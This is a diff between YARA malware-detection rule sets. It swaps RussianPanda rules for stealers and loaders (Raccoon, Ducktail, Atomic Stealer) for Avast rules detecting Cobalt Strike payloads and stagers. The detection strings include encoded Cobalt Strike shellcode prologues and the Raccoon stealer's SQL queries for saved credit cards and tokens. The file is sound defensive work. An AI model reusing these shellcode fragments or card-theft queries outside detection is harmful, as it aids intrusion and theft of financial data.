-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SolarMarker/solarmarker_backdoor.yar#L3-L19"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "d88e050f-9e6c-5349-b809-ad7dc25a79b9"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L356-L373"
 		license_url = "N/A"
-		hash = "8eeefe0df0b057fc866b8d35625156de"
-		logic_hash = "035eccb41f2ecdeb196003542c165cedad96e3e8e741511b4beda3dfe1ece74e"
+		logic_hash = "74c50e1c989167ea6d9309e2b53629c7103484faa809a80e90b7d5c318b2370c"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {06 [0-7] 58 D1 8C [3] 01 28 [3] 0A 0A}
+		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
 
 	condition:
-		all of ($s*) and #s1>5 and filesize <7MB and pe.imports("mscoree.dll")
+		uint32(@h01+0x0145)==0xe5005300 and uint32(@h01+0x018b)==0xd400df00 and uint32(@h01+0x01a7)==0xe2007d00 and uint32(@h01+0x01f3)==0xbb005f00 and uint32(@h01+0x021d)==0xbb005f00 and uint32(@h01+0x0265)==0xfc00dd00 and uint32(@h01+0x0275)==0x52008700 and uint32(@h01+0x0299)==0x5600a200
 }
-rule RUSSIANPANDA_Solarphantom : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X86_Utf16
 {
 	meta:
-		description = "SolarPhantom Backdoor Detection"
-		author = "RussianPanda"
-		id = "f564a943-e83b-5c1b-ba8c-b227d69d3fd8"
-		date = "2023-12-11"
-		modified = "2023-12-11"
-		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SolarMarker/solarphantom.yar#L1-L16"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "7f17985d-b245-5e95-9b35-af669aafc263"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L375-L396"
 		license_url = "N/A"
-		logic_hash = "3b49d301e625d5abf1b726481a80d6a97d33acd3301c12964f2f37d37130c1b7"
+		logic_hash = "2c5ac98ffbea197d14cd6e508729885b5f86adbace0a6d978664908e070965cf"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$p1 = {B8 94 E3 46 00 E8 C6 EB FA FF 8B 45 F8}
-		$p2 = {68 E8 EF 46 00 FF 75 E4}
-		$p3 = {62 72 76 70 72 66 5f 62 6b 70}
+		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
 
 	condition:
-		uint16(0)==0x5A4D and 1 of ($p*) and filesize <600KB
+		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x015b)==0x00006b00 and uint32(@h01+0x0179)==0xe000df00 and uint32(@h01+0x01ad)==0x67003700 and uint32(@h01+0x01bf)==0xff003800 and uint32(@h01+0x01d3)==0xe1003b00 and uint32(@h01+0x01e5)==0x61004d00 and uint32(@h01+0x01f7)==0x5600a200 and uint32(@h01+0x0211)==0x5f00c800 and uint32(@h01+0x0237)==0xe5005300 and uint32(@h01+0x0253)==0x5f00c800 and uint32(@h01+0x027d)==0x61004d00
 }
-rule RUSSIANPANDA_Mal_Msedge_Dll_Virusloader : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X64_Utf16
 {
 	meta:
-		description = "Detects malicious msedge.dll file"
-		author = "RussianPanda"
-		id = "7139ee30-de9a-5ef0-a96f-2ab9c239c6ff"
-		date = "2024-01-19"
-		modified = "2024-01-19"
-		reference = "https://blog.phylum.io/npm-package-found-delivering-sophisticated-rat/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/virusloader/mal_msedge_dll_virusloader.yar#L1-L16"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "bd52fb44-379a-5c82-9c7c-b10c8080b53f"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L398-L418"
 		license_url = "N/A"
-		hash = "ab2e3b07170ef1516af3af0d03388868"
-		logic_hash = "659fd5fa3121fec5bf4cceb6f3dea95bf4cbcde7441d6f11c35288d8ad75a803"
+		logic_hash = "cdd8e0c9bdaf8d7662a118964abdea8eaea6c0e17fe1f20a80497c0c43d496d6"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {C6 85 ?? FE FF FF ?? C6}
-		$s2 = {C7 85 ?? FD FF FF}
-		$s3 = {BF 60 01 00 00 [18] 30 04 39 41}
+		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
 
 	condition:
-		uint16(0)==0x5A4D and all of ($s*) and #s1>30 and #s2>30 and filesize <300KB
+		uint32(@h01+0x0203)==0x07002600 and uint32(@h01+0x0225)==0x00006b00 and uint32(@h01+0x025d)==0xe000df00 and uint32(@h01+0x0287)==0x67003700 and uint32(@h01+0x02a3)==0xff003800 and uint32(@h01+0x02c5)==0xe1003b00 and uint32(@h01+0x02e1)==0x61004d00 and uint32(@h01+0x0333)==0x5f00c800 and uint32(@h01+0x0373)==0xe5005300 and uint32(@h01+0x03a7)==0x5f00c800 and uint32(@h01+0x03df)==0x61004d00
 }
-rule RUSSIANPANDA_Mal_Cleanuploader : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X86_Utf16
 {
 	meta:
-		description = "Detects CleanUpLoader"
-		author = "RussianPanda"
-		id = "fc75fed2-0f8c-55c9-bd10-efe95a678f31"
-		date = "2024-02-14"
-		modified = "2024-02-14"
-		reference = "https://x.com/AnFam17/status/1757871703282077857?s=20"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/CleanUpLoader/mal_cleanuploader.yar#L1-L14"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "321c1f3f-b7fc-5408-b460-6aa4423d381c"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L420-L437"
 		license_url = "N/A"
-		hash = "2b62dd154b431d8309002d5b4a35de07"
-		logic_hash = "a9267c568c11420e36f0781469aa7d932c87d52707981912558eb0f4f84f673a"
+		logic_hash = "5495405ef3a54c960cf27147dce0d25cb298fee84a99415b59bc548c4f64a1e6"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {0F B6 80 30 82 42 00 88}
-		$s2 = {44 69 73 6B 43 6C 72}
-		$s3 = {49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 20 00 45 00 64 00 67 00 65}
+		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
 
 	condition:
-		uint16(0)==0x5A4D and all of them and #s1>15
+		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x015b)==0x00006b00 and uint32(@h01+0x0179)==0xe000df00 and uint32(@h01+0x01ad)==0x61007400 and uint32(@h01+0x01cd)==0x5600a200 and uint32(@h01+0x01e7)==0x5f00c800 and uint32(@h01+0x020d)==0xe5005300 and uint32(@h01+0x0229)==0x5f00c800
 }
-rule RUSSIANPANDA_Neptune_Loader : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X64_Utf16
 {
 	meta:
-		description = "Detects Neptune Loader"
-		author = "RussianPanda"
-		id = "d576bf47-10bd-55d0-99b0-69c02dc87f17"
-		date = "2024-01-17"
-		modified = "2024-01-21"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/NeptuneLoader/neptune_loader.yar#L1-L18"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "1cc2494c-1f39-5a72-93af-c267eaf768fe"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L439-L456"
 		license_url = "N/A"
-		logic_hash = "ca54b8a624d48aa28bc727420f25e6f0fd67b193ac79443a357d88a9fe7cbdbb"
+		logic_hash = "d7e8fe5d2e07b7a85fadaa432bf345231ac4ddac5458167431403ddfe05467fc"
 		score = 75
-		quality = 81
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {8B C6 E8 F4 FB FF FF}
-		$s2 = {66 33 D1 66 89 54 58 FE}
-		$s3 = {7C 53 74 61 72 74 75 70 46 6F 6C 64 65 72 7C}
-		$s4 = {44 65 6C 70 68 69}
-		$t1 = {C7 [3] 0B 40 40 00 [6] A1 ?? 61 40 00}
-		$t2 = {C7 ?? 24 00 40 40 00 A1 ?? 61 40 00}
-		$t3 = {8B ?? ?? FF D0 B8}
+		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
 
 	condition:
-		uint16(0)==0x5A4D and 3 of ($s*) or 2 of ($t*) and filesize <6MB
+		uint32(@h01+0x0203)==0x07002600 and uint32(@h01+0x0225)==0x00006b00 and uint32(@h01+0x025d)==0xe000df00 and uint32(@h01+0x0287)==0x61007400 and uint32(@h01+0x02d9)==0x5f00c800 and uint32(@h01+0x0319)==0xe5005300 and uint32(@h01+0x034d)==0x5f00c800 and uint32(@h01+0x0385)==0x61004d00
 }
-import "pe"
-
-rule RUSSIANPANDA_Ducktail_Mainbot : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X86_Utf16
 {
 	meta:
-		description = "Detects Ducktail mainbot"
-		author = "RussianPanda"
-		id = "f280903f-13d3-54e1-8308-781e3f777d13"
-		date = "2023-12-24"
-		modified = "2023-12-26"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Ducktail/ducktail_mainbot-12-2023.yar#L3-L19"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "c1602e85-5b42-5005-a6d1-7140cb57a3c7"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L458-L478"
 		license_url = "N/A"
-		logic_hash = "33b85c6e1e1137aeeb07eba957b73d738a70ddc561b42bd2d39258e90280fca4"
+		logic_hash = "b6e19ee9141aa22d73de6d8145257eba7b3b2bb2edc0996591085c84f242ec87"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {2F 00 61 00 70 00 69 00 2F 00 63 00 68 00 65 00 63 00 6B}
-		$s2 = {62 00 65 00 67 00 69 00 6E 00 20 00 63 00 6F 00 6E 00 6E 00 65 00 63 00 74}
-		$s3 = {62 00 65 00 67 00 69 00 6E 00 20 00 66 00 6C 00 75 00 73 00 68 00 20 00 64 00 6E 00 73}
-		$s4 = {62 00 65 00 67 00 69 00 6E 00 20 00 73 00 65 00 6E 00 64 00 69 00 6E 00 67}
+		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
 
 	condition:
-		all of ($s*) and filesize <12MB and pe.exports("DotNetRuntimeDebugHeader")
+		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x0157)==0xa7007900 and uint32(@h01+0x018f)==0xc6009f00 and uint32(@h01+0x01bf)==0x3b002e00 and uint32(@h01+0x01e7)==0x7b001800 and uint32(@h01+0x0219)==0x5d00e200 and uint32(@h01+0x022b)==0x31005e00 and uint32(@h01+0x0249)==0x0b00e000 and uint32(@h01+0x058b)==0x5600a200 and uint32(@h01+0x05b3)==0xe5005300 and uint32(@h01+0x05e9)==0xe2008900
 }
-import "pe"
-
-rule RUSSIANPANDA_Ducktail_Myrdpservice_Bot : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X64_Utf16
 {
 	meta:
-		description = "Detects Ducktail myRdpService bot"
-		author = "RussianPanda"
-		id = "50786786-a7db-5290-a363-6fda139a0343"
-		date = "2023-12-24"
-		modified = "2023-12-26"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Ducktail/ducktail_myrdpservice-12-2023.yar#L3-L17"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "78672e3b-6f76-573a-8a9a-610334baa389"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L480-L497"
 		license_url = "N/A"
-		logic_hash = "a329067fbb2acc34c4970167bbce0706c5a3ec09ee89ce16817c105ae1c17b1b"
+		logic_hash = "f88378749f0da0c66d66b917eeb11a56f083bb487c19c22a230dee4f50e1e309"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {43 00 3A 00 5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 54 00 65 00 6D 00 70 00 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 49 00 64 00 2E 00 74 00 78 00 74}
-		$s2 = {6C 00 6F 00 67 00 5F 00 72 00 64 00 70 00 2A}
-		$s3 = {00 43 00 6F 00 6E 00 6E 00 65 00 63 00 74 00 65 00 64 00}
+		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
 
 	condition:
-		all of ($s*) and filesize <12MB and pe.exports("DotNetRuntimeDebugHeader")
+		uint32(@h01+0x01d5)==0x07002600 and uint32(@h01+0x0205)==0xa7007900 and uint32(@h01+0x0243)==0xc6009f00 and uint32(@h01+0x0281)==0x3b002e00 and uint32(@h01+0x02c9)==0x7b001800 and uint32(@h01+0x0613)==0x5600a200 and uint32(@h01+0x064b)==0xe5005300 and uint32(@h01+0x0687)==0xe2008900
 }
-rule RUSSIANPANDA_Ducktail : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X86_Utf16
 {
 	meta:
-		description = "Ducktail Infostealer"
-		author = "RussianPanda"
-		id = "14ba165f-a1f3-5820-a6d8-e2b6ab2fbb51"
-		date = "2023-04-25"
-		modified = "2023-05-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Ducktail/ducktail.yar#L1-L16"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "dcd3e5c8-7626-5a78-9f90-7a8e67311d90"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L499-L520"
 		license_url = "N/A"
-		logic_hash = "cb248870f6945d7a6d60d54944dc726d40ba326448af39b87325ec56445602a5"
+		logic_hash = "5003ebd545182bb105cdcaaac2105a92cdd99a0178c24eb5ae2888232897aeb5"
 		score = 75
-		quality = 73
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s = {65 5f 73 71 6c 69 74 65 33 2e 64 6c 6c}
-		$s1 = {54 65 6c 65 67 72 61 6d 2e 42 6f 74 2e 64 6c 6c}
-		$s2 = {4e 65 77 74 6f 6e 73 6f 66 74 2e 4a 73 6f 6e 2e 64 6c 6c}
-		$s3 = {42 6f 75 6e 63 79 43 61 73 74 6c 65 2e 43 72 79 70 74 6f 2e 64 6c 6c}
-		$s4 = {53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 53 6f 63 6b 65 74 73 2e 43 6c 69 65 6e 74 2e 64 6c 6c}
-		$s5 = {53 79 73 74 65 6d 2e 4e 65 74 2e 4d 61 69 6c 2e 64 6c 6c}
+		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
 
 	condition:
-		all of them and filesize >60MB
+		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x0161)==0xa7007900 and uint32(@h01+0x0199)==0xc6009f00 and uint32(@h01+0x01d1)==0x3b002e00 and uint32(@h01+0x0203)==0x86009e00 and uint32(@h01+0x0223)==0x7b001800 and uint32(@h01+0x0255)==0x5d00e200 and uint32(@h01+0x0267)==0x31005e00 and uint32(@h01+0x0285)==0x0b00e000 and uint32(@h01+0x05d5)==0x5600a200 and uint32(@h01+0x05fd)==0xe5005300 and uint32(@h01+0x0633)==0xe2008900
 }
-rule RUSSIANPANDA_Atomic_Stealer : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X64_Utf16
 {
 	meta:
-		description = "Detects Atomic Stealer targering MacOS"
-		author = "RussianPanda"
-		id = "259c5c33-0164-568f-aec4-4fe0a2c6d015"
-		date = "2024-01-13"
-		modified = "2024-01-17"
-		reference = "https://www.bleepingcomputer.com/news/security/macos-info-stealers-quickly-evolve-to-evade-xprotect-detection/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/AtomicStealer/Atomic_Stealer.yar#L1-L27"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "aa93dd56-9589-5958-9711-ca2f9c763665"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L522-L540"
 		license_url = "N/A"
-		hash = "dd8aa38c7f06cb1c12a4d2c0927b6107"
-		logic_hash = "7601e508aeccba943b54e675212993920c984271f655e68c19efaf6d12cfebd5"
+		logic_hash = "dee3eb3353da0179c58a33c3be0af6ad1e6aa9f13e9e6b9821c94f11d209266f"
 		score = 75
-		quality = 58
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {8B 09 83 C1 (01|02|04|05|03) 39 C8 0F 85 38 00 00 00 48 8B 85}
-		$s2 = {C7 40 04 00 00 00 00 C6 40 08 00 C6 40 09 00}
-		$t1 = {80 75 D?}
-		$t2 = {0F 57 05 ?? 1B 01 00}
-		$t3 = {8A 06 34 DE 88 07 8A 46 01 34 DF 88 47 01}
-		$c1 = {28 ?? 40 39}
-		$c2 = {64 65 73 6B 77 61 6C 6C 65 74 73}
+		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
 
 	condition:
-		( uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xcafebabe or uint32(0)==0xbebafeca) and all of ($s*) and #s1>60 and #s2>100 or ( all of ($t*) and #t1>10 and #t2>5) or (#c1>200 and $c2)
+		uint32(@h01+0x01d5)==0x07002600 and uint32(@h01+0x0205)==0xa7007900 and uint32(@h01+0x0249)==0xc6009f00 and uint32(@h01+0x0287)==0x3b002e00 and uint32(@h01+0x02db)==0x86009e00 and uint32(@h01+0x030f)==0x7b001800 and uint32(@h01+0x0659)==0x5600a200 and uint32(@h01+0x0691)==0xe5005300 and uint32(@h01+0x06cd)==0xe2008900
 }
-rule RUSSIANPANDA_Raccoonstealerv2 : FILE
+rule AVASTTI_Cobaltstrike_Payload_Encoded
 {
 	meta:
-		description = "Detects the latest unpacked/unobfuscated build 2.1.0-4"
-		author = "RussianPanda"
-		id = "eda6216a-219b-5f60-8084-4c0c240a4cb4"
-		date = "2023-04-17"
-		modified = "2023-05-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/RaccoonStealer_v2/raccoonstealerv2_2.1.0-4_build.yar#L1-L14"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "b5176740-2dda-5e5d-8c0f-47a27846753d"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L542-L593"
 		license_url = "N/A"
-		logic_hash = "e2226f08753a3571045953363c04ec52de3c79cd0cd29e7ecb6afaf2ad573e4e"
-		score = 50
-		quality = 85
-		tags = "FILE"
+		logic_hash = "03c650b3c1797c03c635e25ea9d1d4589c6a4b31da0a3e48631fa16d0e3a342b"
+		score = 75
+		quality = 68
+		tags = ""
 
 	strings:
-		$pattern1 = {B9 ?? ?? ?? 00 E8 ?? ?? ?? 00 ?? ?? 89 45 E8}
-		$pattern2 = {68 ?? ?? ?? 00 ?? 68 01 00 1F 00}
-		$pattern3 = {68 ?? ?? ?? 00 ?? ?? 68 01 00 1F 00 FF 15 64 ?? ?? 00}
-		$m1 = {68 ?? ?? ?? 00 ?? 00 68 01 00 1f 00 ff 15 64 ?? ?? 00}
-		$m2 = {68 ?? ?? ?? 00 ?? 68 01 00 1f 00 ff 15 64 ?? ?? 00}
+		$s01 = "0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b" ascii wide nocase
+		$s02 = "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b" ascii wide nocase
+		$s03 = "0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51" ascii wide nocase
+		$s04 = "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51" ascii wide nocase
+		$s05 = "fce8890000006089e531d2648b52308b" ascii wide nocase
+		$s06 = "fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b" ascii wide nocase
+		$s07 = "fc4883e4f0e8c8000000415141505251" ascii wide nocase
+		$s08 = "fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 52 51" ascii wide nocase
+		$s09 = "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJX" ascii wide
+		$s10 = "/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHA" ascii wide
+		$s11 = "38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0" ascii wide
+		$s12 = "32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLj" ascii wide
+		$s13 = "/ADoAIkAAAAAAAAAYACJAOUAMQDSAGQAiwBSADAAiwBSAAwAiwBSABQAiwByACg" ascii wide
+		$s14 = "/ABIAIMA5ADwAOgAyAAAAAAAAABBAFEAQQBQAFIAUQBWAEgAMQDSAGUASACLAFI" ascii wide
+		$s15 = "3yPLI6ojIyMjIyMjQyOqI8YjEiPxI0cjqCNxIxMjqCNxIy8jqCNxIzcjqCNRIwsj" ascii wide
+		$s16 = "3yNrI6AjxyPTI8sj6yMjIyMjIyNiI3IjYiNzI3EjciN1I2sjEiPxI0YjayOoI3Ej" ascii wide
+		$s17 = "Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117" ascii wide
+		$s18 = "Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117" ascii wide
+		$s19 = "Array(-4,72,-125,-28,-16,-24,-56,0,0,0,65,81,65,80,82,81" ascii wide
+		$s20 = "Array(-4, 72, -125, -28, -16, -24, -56, 0, 0, 0, 65, 81, 65, 80, 82, 81" ascii wide
+		$s21 = "Chr(-4)&Chr(-24)&Chr(-119)&Chr(0)&Chr(0)&Chr(0)&Chr(96)&Chr(-119)&Chr(-27)&\"1\"&Chr(-46)&\"d\"&Chr(-117)&\"R0\"&Chr(-117)" ascii wide
+		$s22 = "Chr(-4)&\"H\"&Chr(-125)&Chr(-28)&Chr(-16)&Chr(-24)&Chr(-56)&Chr(0)&Chr(0)&Chr(0)&\"AQAPRQVH" ascii wide
+		$s23 = "\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\\x8b" ascii wide nocase
+		$s24 = "\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51" ascii wide nocase
 
 	condition:
-		2 of ($pattern*) and uint16(0)==0x5A4D and 1 of ($m*) and uint32( uint32(0x3C))==0x00004550 and filesize <200KB
+		any of them
 }
-rule RUSSIANPANDA_Raccoonstealer : FILE
+rule AVASTTI_Cobaltstrike_Strike_Payload_Xored
 {
 	meta:
-		description = "Detects Raccoon Stealer v2.3.1.1"
-		author = "RussianPanda"
-		id = "29f28cd5-370b-5831-8b71-a253f468f7e4"
-		date = "2024-01-08"
-		modified = "2024-01-08"
-		reference = "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-raccoon-stealer-v2-0"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/RaccoonStealer_v2/raccoonstealer_v2.3.1.1.yar#L1-L20"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "0e075644-e278-5c5b-bdcc-dc2d6a32ce73"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L595-L613"
 		license_url = "N/A"
-		hash = "c6d0d98dd43822fe12a1d785df4e391db3c92846b0473b54762fbb929de6f5cb"
-		logic_hash = "ee2b39c1c2068b97e63a03330a2f9e2f12e53aaf9cfffb274acde2372a11fe45"
+		logic_hash = "532cf38554ad7211fab74d050007f6fe8d63c20e05f21a6737fff12ac92a81d7"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {8B 0D [2] 41 00 A3 [3] 00}
-		$s2 = "MachineGuid"
-		$s3 = "SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards"
-		$s4 = "SELECT service, encrypted_token FROM token_service"
-		$s5 = "&configId="
-		$s6 = "machineId="
+		$h01 = { 10 ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? 61 61 61 61 }
 
 	condition:
-		all of ($s*) and #s1>10 and uint16(0)==0x5A4D and filesize <5MB
+		uint32be(@h01+8)^ uint32be(@h01+16)==0xFCE88900 or uint32be(@h01+8)^ uint32be(@h01+16)==0xFC4883E4 or uint32be(@h01+8)^ uint32be(@h01+16)==0x4D5AE800 or uint32be(@h01+8)^ uint32be(@h01+16)==0x4D5A4152 or uint32be(@h01+8)^ uint32be(@h01+16)==0x90909090
 }
